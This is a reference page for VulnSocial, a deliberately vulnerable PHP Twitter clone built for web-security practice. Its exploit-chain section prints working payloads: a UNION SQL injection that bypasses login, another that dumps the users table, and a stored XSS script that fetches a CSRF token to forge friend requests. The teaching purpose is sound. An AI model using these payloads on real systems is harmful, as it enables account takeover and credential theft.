---
title: VulnSocial
description: Intentionally vulnerable PHP social network for hands-on web-security research
section: craft
tags: [project, security, web, php, docker]
genre: reference
stability: stable
lastUpdated: 2026-05-07
url: https://fardiniqbal.com/docs/craft/projects/vulnsocial
---


A deliberately broken Twitter clone running on PHP 8.2 + MySQL 8.4,
packaged as a two-container Docker stack. Three textbook web
vulnerabilities — UNION-based SQL injection in the login and search
paths, a stored cross-site scripting sink in the post timeline, and a
documented CSRF boundary that collapses once the XSS lands — sit
inside an otherwise well-defended baseline so the breakage is targeted
rather than ambient.

## What it is [#what-it-is]

VulnSocial is a small, self-contained playground for practicing
exploit development, secure-coding fixes, and writeups. Close enough
to a real codebase to be interesting, small enough to read in one
sitting. Every other state-changing endpoint is CSRF-protected with a
per-session `hash_equals` token, every other DB call uses prepared
statements, every username display is `htmlspecialchars`-encoded, and
passwords go through `password_hash` + `password_verify` with bcrypt.
The breakage is surgical — the same primitives present in the safe
paths exist on the unsafe paths, just *misused*.

The webapp implements the canonical social-network feature set:
signup, login/logout, posting a status, search, follow/unfollow with
bidirectional friend semantics, profile pages, and a friend-request
inbox.

## By the numbers [#by-the-numbers]

| Metric               | Value                                                                                                       |
| -------------------- | ----------------------------------------------------------------------------------------------------------- |
| Containers           | 2 (PHP 8.2 + Apache, MySQL 8.4)                                                                             |
| Vulnerabilities      | 4 (2 SQLi, 1 stored XSS, 1 CSRF-via-XSS chain)                                                              |
| Defenses left intact | bcrypt, prepared statements (everywhere else), per-session CSRF tokens, `HttpOnly` + `SameSite=Lax` cookies |
| Exploit driver       | 150-line Python (`requests` + `beautifulsoup4`) — full chain end to end                                     |
| Documentation        | 9 long-form docs (architecture, threat model, exploit playbook, hardening, API, schema, dev loop)           |

## Architecture [#architecture]

```
Browser  ──HTTP :8080──▶  webapp container        ──mysqli :3306──▶  db container
                          php:8.2-apache                              mysql:8.4.8
                          session + CSRF mint                         init.sql seed
```

Two containers on a single bridge network. The webapp talks to MySQL
by service name (`db`). The DB is **not** published on the host — only
the webapp on `:8080`.

## Vulnerability catalog [#vulnerability-catalog]

| ID  | Class        | Location                            | Sink                                        | Severity (sandbox)                        |
| --- | ------------ | ----------------------------------- | ------------------------------------------- | ----------------------------------------- |
| V-1 | SQLi         | `webapp/db/functions.php:44`        | `checkUserAuth()` — login, UNION-based      | Critical (auth bypass)                    |
| V-2 | SQLi         | `webapp/db/functions.php:90`        | `filterPostsByContent()` — search, UNION    | High (full table exfil)                   |
| V-3 | Stored XSS   | `webapp/components/post.php:7`      | `<p>` post body, raw echo                   | High (persists to every viewer)           |
| V-4 | CSRF-via-XSS | `webapp/actions/get_csrf_token.php` | Same-origin token oracle reachable from V-3 | Chained — collapses CSRF defense post-V-3 |

## The exploit chain [#the-exploit-chain]

The included `script.py` runs the full attack end to end:

1. Register a fresh `attacker_acct` user.
2. Log in as `admin` via UNION-based SQL injection — synthesize a
   one-row UNION where the third column is a bcrypt hash of a known
   password the attacker provides at the form level. `num_rows == 1`
   and `password_verify` both pass; the handler sets
   `$_SESSION["userID"] = 1`.
3. Dump every `(username, bcrypt_hash)` pair to `db.csv` via the
   search endpoint's UNION sink.
4. Plant a stored XSS payload in a post body. When any logged-in user
   views the timeline, the payload silently fetches a same-origin
   CSRF token, then issues an authenticated `send_friend_request`
   POST on the viewer's behalf — friending the attacker without
   consent.

```text
# V-1 — login as admin
username: ' UNION SELECT 1,'admin','$2y$10$edpOw5BKReEYXiGNpv9coOIhLWxlsAY4IY0yBQPTG.u4KYYfZpXtC' -- -
password: pwned

# V-2 — exfiltrate the users table
search: %' UNION SELECT id, id, password FROM users -- -

# V-3 + V-4 — stored XSS that drives a CSRF-authenticated friend request
<script>fetch('/actions/get_csrf_token.php',{credentials:'include'})
.then(r=>r.text()).then(t=>{const me=document.querySelector(
'a.btn.btn-primary[href*="profile.php?user="]').href.split('user=')[1];
const fd=new FormData();fd.append('from',me);fd.append('to','2');
fd.append('csrf_token',t);fetch('/actions/send_friend_request.php',
{method:'POST',credentials:'include',body:fd});});</script>
```

## What makes it interesting [#what-makes-it-interesting]

* **Targeted breakage, not toy breakage.** Most "vulnerable apps" are
  vulnerable everywhere, which makes them useless for studying any
  one bug class in isolation. VulnSocial fixes everything *except*
  the four bugs in scope, so the surrounding code teaches the right
  pattern by contrast.
* **The CSRF chain is the lesson.** A per-session token stops blind
  cross-origin CSRF cleanly. It does not stop an attacker who can
  read the same origin via XSS. V-4 is documented explicitly so the
  takeaway is structural, not "CSRF tokens don't work."
* **The bcrypt UNION trick.** V-1's payload puts an attacker-known
  bcrypt hash in the synthetic UNION row, which means the
  `password_verify` gate after the SQL parses *passes*. It's a
  cleaner illustration than the usual `OR 1=1` because it survives
  realistic auth code that demands hash verification.
* **Defense-in-depth audit.** Every defense the app *does* keep —
  bcrypt cost, `hash_equals` for CSRF comparison, `mysqli_real_escape_string`
  on the safe paths, `HttpOnly` cookies — is documented alongside the
  bugs, so the writeup doubles as a guide to what the *correct*
  patterns look like in legacy PHP.

## Stack [#stack]

| Layer          | Technology                                     |
| -------------- | ---------------------------------------------- |
| Runtime        | PHP 8.2 + Apache (`php:8.2-apache`)            |
| Database       | MySQL 8.4 (`mysql:8.4.8`)                      |
| Driver         | `mysqli` with both safe + unsafe paths present |
| Front-end      | Bootstrap 4 + jQuery (CDN, no build step)      |
| Auth           | `password_hash` + `password_verify` (bcrypt)   |
| Sessions       | `PHPSESSID`, `HttpOnly`, `SameSite=Lax`        |
| Orchestration  | Docker Compose (two services, one bridge net)  |
| Exploit driver | Python 3 + `requests` + `beautifulsoup4`       |

## Documentation [#documentation]

The repo ships with nine long-form docs covering container topology,
the request lifecycle, the session/CSRF state machine, threat model,
byte-level payload derivations, patch-level hardening with diffs, the
full HTTP API, the database schema, and the dev loop.

## Safety notice [#safety-notice]

VulnSocial is deliberately exploitable. It is not safe to expose to a
public network or deploy with real users. Run it locally, read it,
exploit it, patch it, tear it down.

## Links [#links]

* **Source:** [https://github.com/FardinIqbal/vulnsocial](https://github.com/FardinIqbal/vulnsocial)
